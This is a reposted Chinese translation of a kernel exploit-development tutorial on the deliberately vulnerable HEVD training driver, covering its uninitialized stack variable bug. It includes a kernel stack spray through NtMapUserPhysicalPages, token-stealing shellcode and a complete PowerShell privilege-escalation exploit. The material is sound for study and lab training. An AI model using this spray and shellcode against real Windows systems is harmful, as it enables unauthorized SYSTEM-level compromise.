windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-未初始化栈变量
来源:互联网 发布:smap关系 知乎 编辑:程序博客网 时间:2024/06/05 09:04
Hola,欢迎回到Windows exploit开发系列教程的第13部分。今天我们将利用@HackSysTeam的有漏洞的驱动程序来exploit一个未初始化的内核栈变量漏洞。有关设置调试环境的更多详细信息,请参阅第10部分。让我们来吧!
资源
+ NtMapUserPhysicalPages和内核栈喷射技术(@j00ru) - 这里
应对挑战
我们来看看有关存在漏洞的函数的一部分(这里)。
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS;#ifdef SECURE // Secure Note: This is secure because the developer is properly initializing // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling // the callback UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};#else // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure // before calling the callback when 'MagicValue' does not match 'UserValue' UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;#endif PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_STACK_VARIABLE), (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE)); // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable); // Validate the magic value if (UserValue == MagicValue) { UninitializedStackVariable.Value = UserValue; UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback; } DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value); DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);#ifndef SECURE DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");#endif // Call the callback function if (UninitializedStackVariable.Callback) { UninitializedStackVariable.Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status;}
如果我们传递给驱动程序函数正确的魔术值,那么它将初始化变量和回调参数。如果我们传递不正确的值,那么这不会发生。这里的问题是在定义变量时没有将其设置为特定值。由于变量驻留在栈中,它将包含以前的函数调用留下的随机的垃圾值。请注意,该代码有一个检查(if UninitializedStackVariable.Callback …),但是它不会阻止程序崩溃。该函数的IOCTL是0x22202F。要查看IOCTL如何识别,请查看本系列的第10部分和第11部分。让我们打开IDA,看看这个函数。
让我们考虑上面图片中的4个功能块。如果比较成功,那么我们会执行绿色块,我们的变量被设置为适当的值,然后在调用回调函数的红色块中不会发生任何错误。
不过,如果我们比较失败,会跳过绿色块,最终会调用当时刚好在内核栈上的任何可能的垃圾!
这个数据是不稳定的,如果你尝试复现,你可能会在WinDbg中看到不同的值。在我们触发BSOD之前,让我们快速看看这个变量与我们当前栈的开始有多远。
要获得与错误指针的距离,我们执行以下运算。
0x8a15ced0-0x8a15c9cc=0x504(1284字节)
让我们通过恢复执行流程来触发BSOD。
Pwn!
NtMapUserPhysicalPages
如果我们可以使用指向shellcode的指针覆盖内核栈上的IntPtr就OK了,但是我们应该怎么做呢?内核堆喷射是一种方法,我强烈建议你阅读@j00ru写的这篇文章。有一个无文档的函数NtMapUserPhysicalPages,我们并不关心它的作用,但作为其功能的一部分,它将输入字节复制到内核栈上的本地缓冲区中。可以复制的最大大小是1024*IntPtr::Size(32位机器上是4个字节)=4096个字节,完美符合我们的需求。以下POC可以用来说明这一点!
Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{ [DllImport("ntdll.dll")] public static extern uint NtMapUserPhysicalPages( IntPtr BaseAddress, UInt32 NumberOfPages, Byte[] PageFrameNumbers);}"@# $KernelStackSpray = 4*1024$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),# however, by that time the buffer is already on the Kernel stack ;)[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
我们在NtMapUserPhysicalPages返回时设置一个断点,运行我们的POC并检查内核栈。
完美!在NtMapUserPhysicalPages返回之后栈应该已被设置,所以当调用驱动函数时,我们可以破坏未初始化的栈变量。请注意,喷射不是连续的,看了一下之后,我发现栈上有相当大的块,但是它们被分割为(我假定)存储的值。幸运的是,我们需要的偏移似乎是完整的。要牢记的一个关键点是栈是易失的,因此最好刚好在触发bug之前喷射,并尽可能少地执行其它操作,以避免缓冲区被破坏!
shellcode
再次,我们在这里重写一个函数调用,所以我们可以重用上一个部分的窃取token的shellcode而不进行任何修改。
$Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0xC3 # ret)
安装
我们的exploit工作流程将如下:(1)将shellcode放在内存中(2)使用指向我们的shellcode的指针喷射内核栈(3)触发未初始化变量漏洞。
游戏结束
我们应该已经覆盖了整个过程,请参阅下面的完整的exploit以获取更多信息。
Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{ [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("ntdll.dll")] public static extern uint NtMapUserPhysicalPages( IntPtr BaseAddress, UInt32 NumberOfPages, Byte[] PageFrameNumbers);}"@# Compiled with Keystone-Engine# Hardcoded offsets for Win7 x86 SP1$Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0xC3 # ret)# Write shellcode to memoryecho "`n[>] Allocating ring0 payload.."[IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length)echo "[+] Payload size: $($Shellcode.Length)"echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())"$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return} else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice"}# j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques# Shellocde IntPtr spray..$KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024echo "`n[>] Kernel stack spray.."echo "[+] Spray buffer: $(1024*[IntPtr]::Size)"echo "[+] Payload size: $([IntPtr]::Size)`n"echo "[>] Call NtMapUserPhysicalPages & trigger bug.."echo "[+] Radio silence..`n"[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f)[EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
原文地址:http://www.fuzzysecurity.com/tutorials/expDev/17.html
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-未初始化栈变量
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-栈溢出
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-任意地址写
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-空指针引用
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-整数溢出
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-释放重引用
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-池溢出
- 变量未初始化
- 未初始化变量详解
- java中变量未初始化
- 变量未初始化的可能性
- 变量未初始化引起的release错误
- VS2005中变量默认未初始化
- MFC 变量未初始化,运行报异常
- 未初始化的变量引起运行问题
- 浅析LxBlog V6变量未初始化漏洞
- C++未被初始化的局部变量
- Windows XP内核变量
- Win10+VS2015下配置OpenCV3.2教程
- 转载:图像傅里叶变换
- mac出现"文件损坏"提示的解决办法
- require.ensure和require-amd
- LeetCode 101. Symmetric Tree
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-未初始化栈变量
- java导入、导出excel
- 如何使用strace+pstack利器分析程序性能
- 位运算
- laravel资源加载路径设置
- c++小结
- 前端面试题小集
- iOS POST上传文件~笔记
- android 高级之旅 (八) 极光推送 JPush 的基本使用